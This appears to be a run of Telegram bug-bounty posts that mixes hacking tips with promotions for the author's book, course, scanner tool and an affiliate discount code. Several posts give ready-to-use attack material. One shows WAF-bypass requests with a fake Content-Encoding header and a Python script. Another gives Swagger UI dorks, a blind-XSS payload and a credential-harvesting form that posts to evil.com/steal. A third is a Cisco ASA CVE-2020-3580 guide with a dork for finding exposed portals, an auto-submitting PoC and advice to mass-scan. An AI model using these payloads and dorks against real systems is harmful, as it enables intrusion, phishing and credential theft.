Bounty💰:1000$
Bug🐞:Bypass the Rate-Limit on login page using '%00' [OLD BUT GOLD🪅].
Tip💁‍♂️: Try using %00 after the email when testing for RL bugs, this will bypass the validation sometimes.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting

When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them — using the Content-Encoding header.

💡 Two Tricks:

1️⃣ Valid Compression (e.g. gzip, deflate)

Compress your payload.

Send it with Content-Encoding: gzip.

Many WAFs won't decompress it and will miss the XSS.


2️⃣ Fake or Random Content-Encoding

Use a random or incorrect value like Content-Encoding: xyz.

Some backends ignore unknown encodings and just process the request body normally.

Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding — leading to a bypass.


📌 Example with gzip compression:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

[ gzip-compressed payload with: <script>alert(1)</script> ]

📌 Example with fake encoding:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded

comment=<script>alert(1)</script>

🧠 Why it works:

WAFs might block based on the header alone or misinterpret it.

The backend may not enforce the declared encoding and just process the raw body.


🛠️ Python Example:

import requests

payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}

requests.post('https://target.com/submit-comment', data=payload, headers=headers)

⚠️ Notes:

Behavior varies between servers and WAFs.

Best used when stored content is later rendered in a browser (Stored XSS).

Always test on a case-by-case basis.


---

#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding

🚨 Blind XSS & HTML Injection in Exposed Swagger UI

🔍 Swagger UI Exposure = Attack Surface

Many Swagger UIs are exposed publicly in production. You can find them using Google & GitHub dorks like:

🔎 Google Dorks:

inurl:/swagger-ui/?url=
inurl:/swagger-ui/index.html
intitle:"Swagger UI"

🐙 GitHub Dorks:

filename:swagger.json "swagger-ui"
filename:swagger-config.json


---

💉 Blind XSS via ?url= or ?configUrl=

Swagger UI loads external API specs from ?url= or ?configUrl= and renders untrusted JSON/YAML fields into the page without sanitization.

✅ Blind XSS payload:

{
"info": {
"title": "<script src=//xsshunter.yourdomain.js></script>"
}
}

🧠 Send the target:

https://target.com/swagger-ui/?url=https://evil.com/payload.json

⛔️ The payload triggers XSS when opened by internal staff (QA/dev/admin).


---

🧠 Elevate Impact with HTMli — Fake Login Page

If full XSS is blocked (via CSP), you can inject HTML that mimics a login page, increasing severity due to phishing risk.

🎭 HTMli Payload:

{
"info": {
"title": "<h2>Session Expired</h2><form action='https://evil.com/steal' method='POST'><input type='text' name='user' placeholder='Username'><br><input type='password' name='pass' placeholder='Password'><br><button type='submit'>Login</button></form>"
}
}

➡️ Injects a credential-harvesting form inside the Swagger UI.

🧨 This tricks internal users into entering creds — high-impact phishing vector.

Bounty💰:1000$.

Bug🐞:Creating support tickets in any user account.

Tip💁‍♂️: on the support form request try to add some-email related-parameters🪅.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

Bounty💰:525$

Bug🐞: CL.0 HTTP request smuggling.

Tip💁‍♂️: Try to find any request with 3XX response and smuggle it to make a bigger impact.

🐞Join my Telegram channel for more tips and info🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🚨 Announcement for Cybersecurity Enthusiasts! 🛡️💻
I'm currently working on my first bug bounty guidebook — built to help you understand and apply real-world hacking techniques in a simple, structured way 🔥

📘 What’s inside:

Clear explanations of real vulnerability types

3 Proof-of-Concept (PoC) reports for each bug

Straightforward and practical approach

Based on 5+ years of hands-on experience


🎯 Target Audience:
This book is designed specifically for beginners and those at the intermediate level who want to sharpen their skills and learn how real bug bounty hunters work.

💵 The final version will be available soon for a symbolic price: just $30

📩 For more info or questions, DM me directly 👉 @apesOfficial

Share this post with friends

t.me/kassems94

#BugBounty #EthicalHacking #CyberSecurity #InfoSec #ComingSoon

🚨 Important Announcement for the Global Cybersecurity Community! 🚨

I'm thrilled to announce the launch of my first e-book — a comprehensive guide for anyone looking to dive into the world of Bug Bounty or sharpen their skills, whether you're a beginner or have intermediate experience.

In this book, I don’t just list vulnerabilities — I walk you through my personal methodology and practical steps I use daily as a bug bounty hunter. You’ll learn:

🔹 How to Think Like an Ethical Hacker
🔹 Intelligent Recon: Gathering and analyzing data to find targets
🔹 Finding & Exploiting Bugs with real examples
🔹 Professional Report Writing: Ensure your reports win bounties

This book is the result of years of real experience in cybersecurity — written to empower others entering this exciting field.

💵 Price: $30 USD
📩 To get your copy, message me directly on Telegram: @apesOfficial

Let’s raise the bar in the bug bounty world together! 🔥

#BugBounty #Cybersecurity #EthicalHacking #InfoSec #BugHunting

📚 Own "3 Bugs That Pay - V1"? You Get a Discount! 🔥

Everyone who purchased the first edition of the book will automatically receive a 15% discount on Volume 2 (V2) when it launches! 🎯

✅ Your support keeps us going
✅ And those who started with us, move forward with benefits 💪

Stay tuned for more details about the upcoming second release!

📬 For any questions or to confirm your purchase, contact me

Direct store link [paypal]:
3 Bugs Thats Pay V1 https://payhip.com/b/XTK26

🚨To all beginners, I'm sure you'll get your first bounty using the hunt methods I talked about in the book, because I'm sharing step by step how to start the recon and how to find bugs and how to exploit and report to get paid.

I hope those who bought the book share their feedback on the X platform.
Buy it now to get your first bounty💰🔥:

https://payhip.com/b/XTK26

Or contact me directly to send you your Copy🐞

🎓 Get certified for completing my new course!
My book "3 Bugs That Pay – V1" is now available on 👉 https://onlysecurity.com/courses/3-bugs-thats-pay-book-v1/

✅ Real-world bug bounty cases
✅ Full PoC reports
✅ Step-by-step recon & tools
💥 Learn, apply, and earn a certificate!
#hack
#BugBounty
#CyberSecurity

🎯 CVE-2020-3580 — Cisco ASA/FTD WebVPN XSS Exploit Guide

🧠 Target: Cisco SSL VPN login portals vulnerable to Reflected XSS (CVE-2020-3580).


---

🔍 Step 1: Find vulnerable assets with Google Dork

Use the following Google Dork to discover exposed VPN portals:

inurl:"/+CSCOE+/" intitle:"SSL VPN Service"

🔎 This targets Cisco ASA WebVPN login pages, which may still be unpatched.


---

🧪 Step 2: Test using this PoC [save it as .html] (XSS via SAMLResponse)

<!DOCTYPE html>
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://[target-domain]/+CSCOE+/saml/sp/acs?tgname=a" method="POST">
      <input type="hidden" name="SAMLResponse" value='"><svg/onload=alert(1)>' />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

🧨 If the target is vulnerable, alert(1) will execute, confirming reflected XSS.


---

🛠 Tips:

Use tools like httpx or nuclei for mass scanning.

Always follow responsible disclosure guidelines when testing live systems.



---

📚 References:

NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-3580

Cisco Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-JrQyFQnf


#BugBounty #XSS #Cisco #CVE2020_3580 #EthicalHacking #Recon

🚀 Get 5% OFF ZoomEye Memberships 🕵️‍♂️

Level up your recon & OSINT game with ZoomEye!
Use this code at checkout to instantly save 5% on any membership type or duration.

How to claim your discount:
1️⃣ Go to 👉 https://www.zoomeye.ai/pricing?aff=INVITE-1Y8V-7235
2️⃣ Select your desired membership plan
3️⃣ In the Invitation Code box, enter: INVITE-9BVX-AB3D
4️⃣ Click Verify – your price drops instantly!
5️⃣ Complete your purchase ✅

💡 Works for any membership type or duration.

💰Bounty:1500$
🔥 Host header trusted over HTTP at [redacted-domain] — redirect whitelist bypassed. Phishing → creds harvest → ATO. No auth needed. Patch: stop trusting user Host headers.

Tip💁‍♂️: if your target is test.domain.com , try to bypass the protection using testdomain.com🐞

📚 Want real-world recon & a cert? payhip.com/b/XTK26

same book with cert:

https://t.co/PYZsVzxoBk
#0day #BugBounty #Infosec

DM me at https://t.me/apesOfficial

🚀 XOXO XSS Scanner — Try it FREE!

Meet XOXO My new XSS tool — a fast, smart XSS scanner built for bug bounty hunters & pentesters.

It is not a normal tool, it does not inject payloads but analyzes the code and makes sure itself there is a bug, so you still have to find the appropriate payload, because the tool will slack you the bug, and we do not have a positive false.

🎯 Smart detection • ⚡️ High performance • 🛡 WAF friendly • Cross-platform

👉 Download (all platforms): https://cybersecurity.tabbeqai.com/Cybersecurity/
📱 Get your free trial token: https://t.me/apesOfficial

⚠️ Use responsibly: only test systems you own or have explicit permission to test.